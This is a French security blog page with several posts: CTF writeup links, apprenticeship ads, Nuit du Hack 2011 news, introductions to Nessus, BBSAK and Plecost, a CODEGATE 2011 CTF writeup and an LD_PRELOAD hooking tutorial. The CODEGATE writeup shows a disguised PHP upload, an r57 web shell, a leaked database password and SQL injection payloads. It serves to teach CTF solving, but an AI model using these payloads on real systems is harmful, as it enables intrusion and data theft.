Smoked Chicken Writeup : http://smokedchicken.org/m/mt-search.cgi?search=Nuit+Du+Hack&IncludeBlogs=1&limit=20
404NameNotF0und Writeup : http://blog.w3challs.com/index.php?post/2011/04/05/NDH2k11-Prequals-Compte-Rendu-!#prequals
RCE200 : http://binholic.blogspot.com/2011/04/prequals-ndh2011-rce200-android.html
FORENSIC100 : http://binholic.blogspot.com/2011/04/prequals-ndh2011-forensic-1-windows.html
CRYPTO300 : http://leetmore.ctf.su/wp/nuit-du-hack-2011-ctf-crypto-300/
CRYPTO300 : http://auntitled.blogspot.com/2011/04/nuit-du-hack-ctf-2011-crypto-300.html

 

Posté dans Evènements par Nico. 6 Commentaires

2 offres d’apprentissage à pourvoir chez Bull

Un petit article pour faire passer l’info à tout ceux qui aimeraient faire du « pentest » et qui cherchent un apprentissage pour les 2 ou 3 ans à venir, voici une offre qui pourrait vous intéresser:

Apprenti(e) Consultant(e) en Sécurité Informatique (H/F)

– la réalisation d’audits sécurité technique (tests d’intrusion, audit de vulnérabilité, audit de code source, audit de configuration)
– la mise au point de supports de sensibilisation à la sécurité informatique pour différentes populations (développeurs, décideurs, opérationnels)
– la détermination de mesures de sécurité dans le cadre de missions de conseil de type Appréciation du Risque (ISO/CEI 27005, EBIOS)
– l’optimisation de systèmes de détection d’intrusion et de pare-feu applicatifs (WAF)
– la gestion des procédures d’audits techniques au sein d’un framework Open Source
– la gestion des procédures de réponse aux incidents Sécurité Informatique (réseau, système et gestion des incidents)
– le maintien des outils d’audit et de la base de codes d’exploitation
– la veille informationnelle quotidienne des consultants Sécurité Technique.

Pour plus d’info, consultez l’annonce complète: http://www.bull.com/fr/emploi/recrutement/detailapp.php?num=94


Pour ceux qui suivent une formation plus généraliste, une offre est également disponible:

Apprenti(e) Ingénieur Réseau & Sécurité (H/F)

– la gestion du support (niveaux 2 et 3)
– la préparation des maquettes produits & architectures cibles
– la détermination de spécifications fonctionnelles et techniques
– l’écriture du support qualité (fiches produits, cahier de test, guide d’installation,…)
– le renforcement des processus de veille informationnelle
– la réalisation d’études comparatives de produits permettant de faire évoluer l’offre

Pour plus d’info, consultez l’annonce complète: http://www.bull.com/fr/emploi/recrutement/detailapp.php?num=95


Après avoir bien lu l’annonce, n’hésitez pas à me contacter via le formulaire en choisissant le sujet « Offre de stage/emploi » et en m’indiquant éventuellement l’adresse de votre profil linkedin ou viadeo si vous en avez un. Sinon, vous pouvez toujours postuler directement sur le site.

Romain.

Posté dans Divers par Romain. 2 Commentaires

Inscription ouverte – Nuit du Hack 2011 – 18/06/2011

La nouvelle édition de la NDH 2011 est prévue pour le 18 juin 2011 (tiens, ca me dit quelques chose cette date :p).
A cette occasion, les organisateurs ont effectué une petite refonte du site qui, ma foi, est forte sympatique.

Cette année, c’est au centre de conférence de l’hôtel Disney’s New York® à DisneyLand Paris qu’aura lieu l’évènement.

Je pense que le choix est plus judicieux que les années précédentes ou la taille de la péniche était un vrai handicap.

Le tarif de la place est fixé à 30€ (gratuit pour les filles – et pour les poneys éventuellement). Il est possible de réserver sa place des aujourd’hui, alors n’attendez pas (1000 places disponibles).

Les conférences se dérouleront de 9h30 jusqu’à 17h30. Si vous souhaitez en faire une, envoyez votre proposition à cfp-ndh[at]hackerzvoice[dot]net (deadline le 8 Mai 2011).
Le mail doit avoir « NDH – Proposition » comme sujet, et contenir (au moins) une courte description de la conférence ainsi qu’un plan détaillé.

Tous les conférenciers se verront attribuer gracieusement une entrée.

Cependant attention, un timing de 30 minutes top chrono est attribué à chaque talk. Pour chaque minute dépassée, le conférencier devra me payer une bière 😉

Comme chaque année, un CTF aura lieu, et cette fois-ci nous aurons un peu plus de temps car il se déroulera de 18h00 à 7h00 du matin.

Là encore, il est déjà possible de réserver la place pour sa Team en envoyant un mail à ctf-ndh[at]hackerzvoice[dot]net. Voici quelques informations à bien prendre en compte pour l’enregistrement :

  • Le challenge sera de type Capture The Flag ;
  • Le nombre maximum d’équipe sera de 15 ;
  • Le nombre maximum de personne par équipe sera de 5.

Le mail doit contenir les informations suivantes :

  • Le nom de l’équipe ;
  • Le pseudo du capitaine d’équipe ;
  • Le pseudo de chaque joueur.

La validation de l’équipe ne sera effectuée qu’une fois les forfaits de chaque joueur réglés.

Edit : cette année, des pré-qualifications sont prévues afin de qualifier automatiquement 5 équipes sur 15. Ces pré-qualifications se dérouleront du 2 avril 2011 minuit au 3 avril 2011 à 23h59, et seules les 5 premières équipes seront automatiquement qualifiées. La première équipe du classement remporte 5 entrées pour l’évènement Hack In Paris, ainsi que 5 entrées pour la Nuit du Hack 2011 afin de participer au CTF. Les quatre équipes suivantes dans le classement remportent 5 entrées pour la Nuit du Hack 2011 chacunes. Les six autres équipes sont qualifiées pour le CTF mais devront s’acquitter de leurs entrées.

En parallèle au CTF aura lieu un challenge public qui permettra aux participants de remporter de nombreux lots.

Pour finir, des ateliers pourront être proposés.

Vous désirez en proposer un ? Envoyez un mail à workshop-ndh[at]hackerzvoice[dot]net.
Pour toutes questions à propos des réservations, contactez communication[at]hackerzvoice[dot]net.

Pour ma part, je serai présent en participant surement au CTF. N’hésitez pas à venir me faire un petit coucou, je porterai surement un T-shirt « Les Tutos de Nico » ^_^ (je fais mieux que madame irma).

See You Soon.

Posté dans Evènements par Nico. 2 Commentaires

Nessus, scanner de réseaux

Je viens de me rendre compte qu’au fil des articles présentés sur ce blog, je n’ai pas présenté les outils les plus utilisés dans le monde des tests intrusifs tels : Nessus, Acunetix, w3af, Qualys, AppScan etc.

Nous allons remédier à cela !

Nessus est un scanner réseaux édité par Tenable Network Security permettant de déceler les faiblesses des serveurs sur votre SI. L’outil est capable d’auditer différents systèmes tels Windows, Unix/Linux, FreeBSD, Solaris, AIX etc… que ce soit en interne comme en externe.

Étant basé sur une architecture client/serveur il est possible de placer le serveur Nessus à l’intérieur du réseau afin d’effectuer des tests internes depuis l’externe (en plaçant la partie cliente à l’extérieur du réseau). Ce type de configuration peut-être utile lors de tests récurrents pour un client.

L’outil est simple à prendre en main et propose différentes fonctionnalités :

  • Découverte de vulnérabilités ;
  • Vérification et classement par criticité ;
  • Méthodologies + liens pour aider à corriger les vulnérabilités (numérotation des vulnérabilités – CVE) ;
  • Contrôle de conformité ;
  • Planification des scans et export des résultats ;
  • Existence de plus de 42200 plugins permettant d’étendre les possibilités de détection.

Plusieurs versions de Nessus existent sur le marché :

  • Payante (1200$ par an) pour les entreprises. Elle permet de recevoir des mises à jour en temps réels, des plugins spécifiques, ainsi qu’un support ;
  • Gratuite pour une utilisation ‘personnelle’.

Par ailleurs, il est important de savoir qu’il existe un fork à Nessus du nom de OpenVas. Ce dernier est sous licence GNU/GPL ce qui lui permet de recevoir des plugins en « avant première » en comparaison à Nessus qui reste tout de même un produit « fermé ».

Pour exemple, Ange Gutek (développeur Nmap) affirme que les dernières nouveautés ou plugins Nmap se retrouvent très vite implémentés sur OpenVas en comparaison à Nessus.

Téléchargement & Installation

Windows

Télécharger Nessus Windows 64 bits 4.4.1
Télécharger Nessus Windows 32 bits 4.4.1

Double-cliquer sur l’exécutable et suivre les instructions.

Linux

Télécharger Nessus Linux 64 bits 4.4.1
Télécharger Nessus Linux 32 bits 4.4.1

Je vous réfère au guide suivant pour l’installation :

http://cgi.tenable.com/nessus_4.4_installation_guide.pdf

Il faut cependant ne pas oublier les pré-requis :

  • OpenSSL (openssl, libssl, libcrypto) ;
  • zlib ;
  • GNU C Library (libc).

Utilisation

Nous partirons sur une base d’installation Windows.

Après s’être enregistré auprès de Teenable et avoir validé notre version de Nessus, ouvrons la partie « Nessus Server Manager » :

 

  • Cliquer sur « Manage Users » afin de créer un compte ;
  • Lancer le serveur en cliquant sur « Start Nessus Server« .

Ok it’s done, on ouvre notre navigateur préféré et on y insère l’URL suivante : https://votre_adresse_ip_ou_est_le_serveur:8834

Après authentification, l’interface suivante se présente à nous :


4 onglets principaux sont disponibles :

  • Reports : contient les résultats des scans effectués. Il est possible d’en importer via l’option ‘upload.
  • Scans : permet de définir les scans à effectuer. En cliquant sur add‘, vous pouvez définir le type de scan, la politique à appliquer (voir point suivant), et indiquer une  cible (possibilité d’importer une liste).
  • Policies : ce menu est le plus essentiel. Il permet de définir tout un tas d’options pour les scans à effectuer. 4 sous options disponibles :
    • General : l’onglet Général vous permet de nommer la politique et de configurer diverses opérations d’analyse. Six cases d’options sont disponibles pour contrôler le comportement du scanner. Quelques options utiles : safe Checks (permet de désactiver les plugins pouvant faire planter l’hôte distant), scan de ports en custom list (permet de définir une range de ports à scanner), etc.
    • Credentials : l’onglet de crédentiels permet de configurer des informations d’authentification lors du scan. Cette option permet à Nessus des tests en boîte blanche afin d’effectuer une plus grande variété de contrôles qui se traduisent par des résultats plus précis.
    • Plugins : l’onglet plugins permet à l’utilisateur de choisir des contrôles de sécurité spécifiques au moyen de divers modules (Backdoors, DNS, Databases, Firewall etc.). Attention au module « Denial Of Service » surtout si vous n’avez pas choisi l’option safe checks dans l’onglet général.
    • Preferences : l’onglet préférences permet d’affiner divers paramètres. Le menu déroulant propose des éléments de configuration supplémentaires pour la catégorie sélectionnée. Il est important de noter que ceci est une liste dynamique dépendante des plugins et des politiques que l’on a sélectionné.
  • Users : l’onglet permet d’ajouter/supprimer des utilisateurs ayant accès à Nessus.

Si vous souhaitez approfondir l’utilisation de l’outil, un guide détaillé est disponible à l’adresse suivante :

http://cgi.tenable.com/nessus_4.4_user_guide.pdf

Résultat d’un scan :

 

Bon scan à tous 🙂

Posté dans Outils par Nico. 10 Commentaires

BBSAK, BlackBerry Swiss Army Knife

BBSAK est un outil gratuit fonctionnant sur Windows permettant d’extraire plusieurs informations d’un BlackBerry.

L’outil est aujourd’hui capable de plusieurs fonctionnalités telles  :

  • Dump des données du téléphone ;
  • Backup des applications tierces ;
  • Installer et retirer des fichiers .cod (application signé pour pouvoir les utiliser sur BB) ;
  • Créer et installer des fichiers JAD ;
  • Reset de l’appareil (utile en cas de brick) ;
  • Chargement d’OS.


Téléchargement

Télécharger BBSAK


Installation

Double cliquer sur le fichier BBSAKv1.9.11_Installer.msi et suivre la procédure d’installation.


Screenshots


Information complémentaire

Après quelques recherches pour désassembler les fichiers .cod, j’ai trouvé un outil + patch (corrigeant plusieurs bugs) permettant cette action :

http://drbolsen.wordpress.com/2008/07/14/coddec-released/
http://dontstuffbeansupyournose.com/2009/02/19/disassembling-blackberry-apps-take-2/

Pour conclure, voici d’autres logiciels intéressants permettant l’extraction d’informations sur BlackBerry :

Posté dans Outils par Nico. Aucun Commentaire

Writeup – CODEGATE 2011

Du 04 mars 13h au 06 mars 13h a eu lieu le CTF CODEGATE 2011.

Ayant un petit répit entre deux biberons, je me suis lancé avec la Team Zenk sur la résolution des divers challenges proposés.

Voici donc un petit récapitulatif des épreuves réussies.

CRYPTO

1/ CRYPTO100

L’épreuve consistait à analyser l’image suivante :

Après un bon moment de réflexion, et en ayant analysé le nombre d’occurrence maximum pour chaque nombre, on s’est aperçu que notre téléphone portable allait nous servir.

Lorsque l’on envoie un SMS, on appuie X fois sur la touche jusqu’à tomber sur la lettre souhaitée (ex : 3 fois sur la touche 4 pour avoir la lettre « i »).

C’est exactement ce que l’épreuve proposait. Il était donc nécessaire de transformer ces nombres en texte au moyen des touches du téléphone portable. Voilà donc le texte déchiffré :

« IN CRYPTOGRAPHY A SUBSTITUTION CIPHER IS A METHOD OF ENCRYPTION BY WHICH UNITR OF PLAINTEXT ARE REPLACED WITH CIPHERTEXT ACCORDING TO A REGULAR SYSTEM THE UNITS MAYBE SINGLE LETTERS PAIRS OF LETTER STRIPLETS OF LETTERS MIXTURES OF THE ABOVE THIS CIPHERTEXT IS ENCRYPTED BY TELEPHONE KEY PAD SO WE CALL THIS KEY PAD CIPHER »

Indice donné par les organisateurs : the key is in decoded text

On a donc testé plusieurs possibilité pour avoir la bonne clé à savoir : keypad cypher

2/CRYPTO200

Ici nous avions le chiffré suivant :

SCMPKBOUPDPHYTIAVIVRBTMVORUDNBDFNETDOIVTXROUNDKOBFWBPVOEQLTGKKARACYCGDNAECBXIZIKPTLEERZTYCYKIVXCPKPTPOVCAQRHRVKJUWMTWCMSXKADYHRVNAHCBRVSVSSCQCZQYDJXGSNRVSWCESTTBHIFCIASXRTAHKRRTUMVOKWITZPFZDISXZVVLGETPPLKSELDPGKELSHCBJBWXBIFCPEZYNBWXCDYMGAOVWNDKAKKKWBBQKPTIODKMGGHRVVNHINFCQESDYMLACVVBWBBQROPBBDFOXOSKDIGZWXFNTKFYIICWHRVVNHIYILTKHRVXPISB

Résolution : Analyse fréquentielle !

Tool utilisé : http://smurfoncrack.com/pygenere/pygenere.php

On test avec une longueur de clé à 1 puis 2 puis 3, et on s’aperçoit qu’à 6, le texte déchiffré ressemble à quelque chose :

« I LEARNED HOW TO CALCULATE THE AMOUNT OF PAPER NEEDED FOR A ROOM WHEN I WAS AT SCHOOL YOU MULTIPLY THE SQUARE FOOTAGE OF THE WALLS BY THE CUBIC CONTENTS OF THE FLOOR AND CEILING COMBINED AND DOUBLE IT YOU THEN ALLOW HALF THE TOTAL FOR OPENINGS SUCH AS WINDOWS AND DOORS THEN YOU ALLOW THE OTHER HALF FOR MATCHING THE PATTERN THEN YOU DOUBLE THE WHOLE THING AGAIN TO GIVE A MARGIN OF ERROR AND THEN YOU ORDER THE PAPER »

Ok, nous avons le chiffré, le clair et il nous manque plus qu’à trouver la clé. Prenons l’outil en ligne suivant :

http://cs.colgate.edu/faculty/nevison/Core139Web/tools/vigenere-cracker.html

On insère notre chiffré, notre clair et la taille de la clé (6) et hop, il nous ressort la key :

NETWORK

1/ NETWORK100

Ici nous avions un fichier pcap à télécharger avec pour seul indice : la réponse sera sous la forme du hash MD5 d’un fichier.

On ouvre donc notre capture pcap avec Wireshark, on utilise l’option File>Export>Objects> HTTP et nous pouvons télécharger les différents fichiers inclus dans la capture (merci à kr0ch0u pour l’information). Une fois cela fait, on peut observer plusieurs fichiers dont un seul .exe.

 

On clic sur « enregistrer sous », puis on calcule son hash MD5 :

Well done !

2/ NETWORK300

Ici nous avions une page Web affichant la lettre « M ». Après avoir rechargé la page plusieurs fois, nous avions un message d’erreur comme quoi nous tentions de brute forcer.

En passant par un proxy, une nouvelle lettre est apparu « s ».

On a donc testé de passer par plusieurs proxy pour toutes les requêtes émises sur le serveur.

Au final cela nous a donné : Msg:wFTeNtyMklGa et pour la fin un petit message nous indiquant que l’épreuve n’était pas complètement finie :

Congraturation! You have succeeded, hint:reverse me 🙂

Il ne restait plus que 10 minutes avant la fin du challenge. Après plusieurs tentatives en retournant wFTeNtyMklGa dans tous les sens, Debaser nous a suggéré le base64 :

— Decode en base 64 de aGlkMytNeTFw : hid3+My1p

Ouf il ne restait plus que 3 minutes ! GG !

BINARY

1/BINARY100

En éditant le fichier téléchargé, l’entête était assez incompréhensible. Xylitol a soumis la piste d’un javascript encodé.

En décodant le javascript nous tombions de nouveau sur un javascript encodé de la forme :

// **Start Encode**
_$_$$_$= »charAt »;$=~[];$={___:++$,$$$$:(![]+ » »)[_$_$$_$]($),__$:+ …

Edit : Pour plus de précisions, on avait vbscript.encode(jjencode(packer(jjencode(variable_en_octale)))).
Document utile : http://pferrie2.tripod.com/papers/jjencode.pdf

Solution de shp :

On reverse la variable p => on a codegate_javascriptencoded_key => on met un alert()
=> on a des chiffres et des lettres, les chiffres correspondent à l’octal dans la table ASCII. On remplace donc par le caractère correspondant et on obtient la clé.

VULNERAB

1/VULNERAB100

Cette épreuve se présentait sous la forme d’un site Web nous autorisant à uploader des fichiers mp3.

Après avoir tenté d’envoyer un autre format de fichier, par exemple un .php, on se fait jeter tel un poney pas coiffé.

Lors d’une de nos tentatives, nous avons renommé notre script php en mp3 et l’avons soumis à l’upload. Malheureusement, une erreur de TAG non présent nous a rappelé à l’ordre.

En jouant avec l’outil id3, nous avons pu ajouter le TAG manquant à notre faux fichier mp3. Well done, le fichier est bien envoyé.

Par la suite, on a tenté une injection SQL dans le TAG du mp3. En effet, lors de notre première tentative, le serveur nous a remonté une alerte comme quoi aucun TAG n’avait été trouvé dans le fichier mp3. C’est donc qu’il le vérifie 😉

Voici la commande de modification du tag :

Moon:/home/lestutosdenico/Desktop# id3 -c « ‘ or ‘1’=1– » test.mp3

Résultat :


Cela nous a au moins permis de savoir que nous étions sur la bonne direction.

Suite à cela, nous avons créé un fichier .php.mp3 contenant une fonction phpinfo(), inséré le TAG et uploadé le fichier.
En allant chercher notre fichier par un lien direct, nous avons remarqué que le code était bien exécuté :


Ok, passons aux choses sérieuses.

Upload de r57 shell :


Regardons ce qu’il peut y avoir d’intéressant là-dedans. Wow un fichier dbconn.php, voyons ce qu’il contient :

$con=mysql_connect(« localhost », »root« , »zhemrpdlxm##« );

On a le login et le mot de passe de la BDD. Exécutons nos commandes via le PHP Shell :


Voyons ce qu’il y a dans la database music :


Vul100pwd ?! Miam !


Pass: hello, sonic!

2/VULNERAB200

Cette épreuve se présentait sous la forme d’un site Web avec authentification. Une fois authentifié nous avions l’affichage de quelques messages avec des liens de la forme :

http://221.141.3.112/view.php?id=

Dans l’indice on nous indiquait que pour résoudre l’épreuve il fallait être connecté sur le compte Administrator:

Hint) Get Administrator account

Il suffisait simplement de tester le couple Administrator:Administrator, bien évidemment, cela passait.

Tout le monde avait bien entendu réussi à exploiter la base via une injection dans le champ get id :

http://221.141.3.112/view.php?id=

Néanmoins les informations intéressantes étaient celles-ci:

http://221.141.3.112/view.php?id=0%20UNION%20ALL%20SELECT%200,0,group_concat
%28database%28%29,0x3a,user%28%29%29–%20-

Réponse : codegate1_messages:codegate_msg@localhost

Par ailleurs si on faisait attention, dans la source nous avions une ligne : <– hint : 0 –>.

Après un temps de réflexion nico34 a remarqué qu’en plus de contenir la session, le cookie contenait aussi une variable lang (suspect).

Il a donc commencé par modifier la langue en mettant French. Le commentaire se modifiait en <– hint : 6 –>.

Aller c’est parti, on injecte puis on regarde s’il y a une différence dans nos résultats:

‘UNION ALL SELECT group_concat(database(),0x3a,user()),0– –

Réponse : codegate1:codegate1@localhost

Magnifique, la base de donnée et l’user n’est pas le meme, nous allons donc exploiter la base entière.

Table : usersChamps : uid uname passwd fname lname email
Table : langChamps : lang_id language
Table : raw_dataChamps : data_id data_value

Après avoir exploité la table lang et users, nous n’avions encore trouver aucun flag.

En scriptant un peu, nico34 a récupéré tout le contenu de la table raw_data avec une injection simple comme ceci :

‘UNION ALL SELECT group_concat(data_id,0x3a,data_value),0 from raw_data– –

Nous avions un peu plus de 70 enregistrements et tous correspondaient à du base64.

En les décodant un par un, on se rendait compte que ce n’était que des suites de 185 chiffres, inutiles pour nous. Par ailleurs, en regardant bien la sortie du script, nico34 a pu s’appercevoir qu’un des base64 n’avait pas la meme longueur.

La solution était belle et bien là:

nico@Zenk-Security:~/Bureau$ echo
« iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKAQAAAAClSfIQAAAACXBIWXMAAAsT
AAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAA
AXb5JfxUYAAAAaSURBVHjaYvzPwMTAwMTwkYnhLSOUjUCAAQBVVwPvEoyQEAAARk
xBRzozOTFjZTcwYWQzZGJhODIyNjExY2U1YTYxZWI3MTI1ZQAASUVORK5CYII= » | base64 -d > flag.png && hexdump -C flag.png

00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG……..IHDR|
00000010 00 00 00 0a 00 00 00 0a 01 00 00 00 00 a5 49 f2 |…………..I.|
00000020 10 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b |…..pHYs…….|
00000030 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 |……… cHRM..|
00000040 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 |z%…………..|
00000050 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f |u0…`..:….o._|
00000060 c5 46 00 00 00 1a 49 44 41 54 78 da 62 fc cf c0 |.F….IDATx.b…|
00000070 c4 c0 c0 c4 f0 91 89 e1 2d 23 94 8d 40 80 01 00 |……..-#..@…|
00000080 55 57 03 ef 12 8c 90 10 00 00 46 4c 41 47 3a 33 |UW……..FLAG:3|
00000090 39 31 63 65 37 30 61 64 33 64 62 61 38 32 32 36 |91ce70ad3dba8226|
000000a0 31 31 63 65 35 61 36 31 65 62 37 31 32 35 65 00 |11ce5a61eb7125e.|
000000b0 00 49 45 4e 44 ae 42 60 82 |.IEND.B`.|
000000b9

FLAG:391ce70ad3dba822611ce5a61eb7125e

FORENSIC

1/FORENSIC100

Le fichier téléchargé était compressé et contenait un fichier « unknow ». Au moyen de l’outil foremost nous avons pu récupérer plusieurs fichiers dont des zip, des images, des fichiers html etc…

En farfouillant un peu nico34 a trouvé le fichier 00008888.zip contenant plusieurs autres fichiers dont un index.xml. Ce dernier contenait du code base64 un peu mal-formé. En effet plusieurs caractères &#10; étaient présents pour nous empêcher de reconstruire le fichier.

En supprimant ces caractères et en régénérant le file, nous pouvions voir dans l’entête �PNG.

On renomme le fichier, on ouvre l’image et TADA :

Bravo nico34 ! tu es pas un nico pour rien ! 🙂

2/FORENSIC300

Nous avons un fichier contenant une sauvegarde du registre Windows. Le but est de trouver la clé sous la forme : « Vendor name » + « volume name » + « serial number ».

Solution par kr0chou :

Utilisation du Logiciel Alien registery.

On transforme le fichier en .7z, on extrait le backup du registre et on monte les .dat afin de pouvoir faire nos recherches.

Voici les différentes clés qui ont permis de trouver la solution :

Ailien Registry\HKEY_LOCAL_MACHINE\software\Microsoft\WBEM\WDM
Ailien Registry\HKEY_USERS\NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{7fceaab2-39e6-11e0-9e0f-000c290f784e}
Ailien Registry\HKEY_USERS\NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{7fceaab8-39e6-11e0-9e0f-000c290f784e}
Ailien Registry\HKEY_USERS\NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{7fceab12-39e6-11e0-9e0f-000c290f784e}
Ailien Registry\HKEY_USERS\NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{7fceab16-39e6-11e0-9e0f-000c290f784e}
Ailien Registry\HKEY_LOCAL_MACHINE\system\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Ailien Registry\HKEY_LOCAL_MACHINE\system\MountedDevices

Clé :  CORSAIRPR0N33RDDF08FB7A86075

ISSUES

1/ISSUES100

Je n’ai pas trop suivi cette épreuve mais c’était apparemment une vidéo.

Solution par kioko :

Valide : San 15-3 Seongbuk-dong, Seongbuk-gu, Seoul
South Korea

Pour la resoudre, il fallait trouver le depart de la ligne de bus 1162 a Seoul, suivre le trajet jusqu’a la fin de la video sur gmap, quelques clics pour trouver des adresses et les tester.

Article : http://filedanstachambre.org/central/info/ctf-codegate-2011-179

CONCLUSION

Pour conclure, le CTF était vraiment intéressant et la difficulté était bien présente. La diversité des épreuves en fait un CTF vraiment complet. Merci donc aux organisateurs mais surtout merci à la team Zenk-Security qui a fait du très bon boulot (10 épreuves sur 27 réussies) en arrivant 46ème/178 462.

PS : Je vais essayer de mettre à jour cet article en incluant le lien vers des Writeups afin d’inclure la solution des épreuves manquantes.

Greatz : nico34, shp, kr0ch0u, caracole, joanelis, Xylitol, kioko, strepoetlo, Hydraze, saiketsu, ezano, Warr !

Edit :

Fichier des épreuves (merci j0rn): https://files.nibbles.fr/codegate-2011/
+ http://repo.shell-storm.org/CTF/CodeGate-2011/

WRITEUPS Hates Irony : https://hatesirony.com/codegate2011/
WRITEUPS PPP : http://ppp.cylab.cmu.edu/wordpress/wp-content/uploads/2011/03/Codegate2011PQ-Writeup-PPP.pdf
WRITEUPS Disekt : http://disekt.tk/
WRITEUPS Leetmore : http://leetmore.ctf.su/wp/codegate-ctf-2011-mini-writeups/
BINARY200 : http://leetmore.ctf.su/wp/codegate-ctf-2011-binary-200/
BINARY200 : http://www.corelan.be/index.php/2011/03/14/codegate-2011-ctf-binary200-anti-debugging-techniques/
ISSUES100 : http://filedanstachambre.org/central/info/ctf-codegate-2011-179
ISSUES500 : http://leetmore.ctf.su/wp/codegate-ctf-2011-issue-500-bootsector/
ISSUES500 : http://securityblackswan.blogspot.com/2011/03/codegate-yut-2011-issue-500-writeup.html
FORENSIC200 : http://pastebin.com/HLsqc38J
FORENSIC300 : http://www.sinfocol.org/2011/03/writeup-forensics300-codegate-2011/
FORENSIC300/ISSUES300: http://leetmore.ctf.su/wp/codegate-yut-2011-forensic-300issue-300/
CRYPTO300 : http://leetmore.ctf.su/wp/codegate-ctf-2011-crypto300-writeup/
CRYPTO400 : http://isc.sans.edu/diary.html?storyid=10501
CRYPTO400 : http://leetmore.ctf.su/wp/codegate-ctf-2011-crypto-400/
VULN100 : http://leopardan.kr/113
VULN200 : http://leopardan.kr/114
VULN300 : http://auntitled.blogspot.com/2011/03/codegate-ctf-2011-vuln300-writeup.html
VULN300 : http://passket.tistory.com/33
VULN400 : http://leopardan.kr/115
NETWORK200 : http://blog.seguesec.com/?p=70

Posté dans Evènements par Nico. 9 Commentaires

Plecost, découvertes de plugins WordPress

Plecost est un script Python permettant de retrouver la version installée d’un WordPress ainsi que des plugins installés. L’outil fournit en sortie, le nom du plugin, la dernière version en date ainsi que la version installée (utile lorsque l’on souhaite auditer un WP).

Le seul inconvénient que je peux faire concernant Plecost est qu’il n’est actuellement capable d’auditer qu’une installation par défaut. En effet, si l’on supprime le fichier README.txt contenant la version du WordPress + le nom du répertoire /wp-content/plugins/ alors le script devient « inutile ».

Il reste cependant la possibilité de modifier la source pour indiquer un autre path pour effectuer les tests.

Apparemment, le développeur met au point une nouvelle version qui pourra coupler le travail actuel avec un bruteforce permettant de déterminer le nom des répertoires modifiés.

Téléchargement & installation

Windows et Linux

http://plecost.googlecode.com/files/plecost-0.2.2-9-beta.tar.gz

Liste de plugins : http://plecost.googlecode.com/files/wp_plugin_list.txt

Utilisation

$ tar xvf plecost-0.2.2-9-beta.tar.gz
$ mv wp_plugin_list.txt plecost-0.2.2-9-beta/
$ cd plecost-0.2.2-9-beta/
$ python plecost-0.2.2-9-beta.py

Utilisation: ./plecost-0.2.2-9-beta.py [options] [ URL | [-l num] -G]

Options de recherche Google:
-l num    : Limit number of results for each plugin in google.
-G : Google search mode

Options:
-n : Number of plugins to use (Default all – more than 7000).
-c : Check plugins only with CVE associated.
-R file : Reload plugin list. Use -n option to control the size
-o file : Output file. (Default « output.txt »)
-i file : Input plugin list. (Need to start the program)
-s time : Min sleep time between two probes. Time in seconds. (10)
-M time : Max sleep time between two probes. Time in seconds. (20)
-t num : Number of threads. (Default 1)
-h : Display help. (More info: http://iniqua.com/labs/)

Exemple d’utilisation

N’hésitez pas à faire vos retours si vous rencontrez des bugs à l’endroit suivant :

http://code.google.com/p/plecost/issues/list

Posté dans Outils par Nico. 2 Commentaires

Introduction à LD_PRELOAD

Hier, j’ai rédigé et publié un article indiquant la manière dont j’ai résolu le level 1 du Wargame utumno sur Intruded.

Après avoir posté, un ami m’a indiqué qu’il n’était pas forcément bien vu de divulguer les réponses de challenges publiques et je pense qu’il n’a pas forcément tord sur ce point.

De ce fait, j’ai décidé de remanier mon article afin de vous montrer la voie sans forcément trop en dire  😉

Nous allons donc aborder dans cet article comment nous servir de la variable d’environnement LD_PRELOAD afin d’usurper (hooker) certaines fonctions d’un programme accessible seulement en exécution.

Prenons le code source test.c suivant :

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
int main(int argc, char **argv) {
printf(“Un p0n3y peut en cacher un autre”);
}

On le compile et on lui attribue des droits d’exécution pour les autres utilisateurs que le propriétaire.

Moon:/tmp# gcc test.c -o test
Moon:/tmp# chmod 711 test
Moon:/tmp# su un_autre_utilisateur
Moon:/tmp$ ./test
Un p0n3y peut en cacher un autre
Moon:/tmp$
Moon:/tmp$ file test
test: executable, regular file, no read permission

Notre but ici, va être d’usurper la fonction printf() afin d’afficher ce que l’on veut.

Pour cela, nous allons utiliser la variable d’environnement LD_PRELOAD afin de charger une librairie à la place des bibliothèques de bases.

Voici donc le code source test1.c contenant la fonction que l’on souhaite usurper et affichant un texte quelconque :

#include ;
#include ;
#include ;
 
int printf(const char *format,) {
fprintf(stdout,”hook un jour, hook toujours”);
}

On compile maintenant notre code source test1.c en librairie test1.so :

Moon:/tmp$ gcc -fPIC -shared test1.c -o test1.so

On importe maintenant notre librairie afin qu’elle hook la fonction printf().

Moon:/tmp$ LD_PRELOAD= « /tmp/test1.so » /tmp/test
hook un jour, hook toujours
Moon:/tmp$

Well done ! nous avons réussi ! (ça mérite bien un coca).

Bon l’exemple était ici assez simple mais on peut s’imaginer d’autres scénarios d’attaques en utilisant cette méthode.

Pour exemple, je vous recommande chaudement d’effectuer le level 1 du Wargame Utumno qui utilise le même principe.

Pour indice supplémentaire, il est nécessaire de savoir que le fait de hooker une des fonctions d’un binaire permet de partager son espace mémoire. On peut donc s’imaginer de pouvoir lire en mémoire le binaire (bien qu’à la base nous n’avons aucun droit en lecture).

Également, pour vous aider un peu plus, je vous recommande l’article et la vidéo suivante :

Reverse Engineering avec LD_PRELOAD

Organisation du Système et de la mémoire

Bon courage !

Posté dans Tutos de Nico par Nico. 2 Commentaires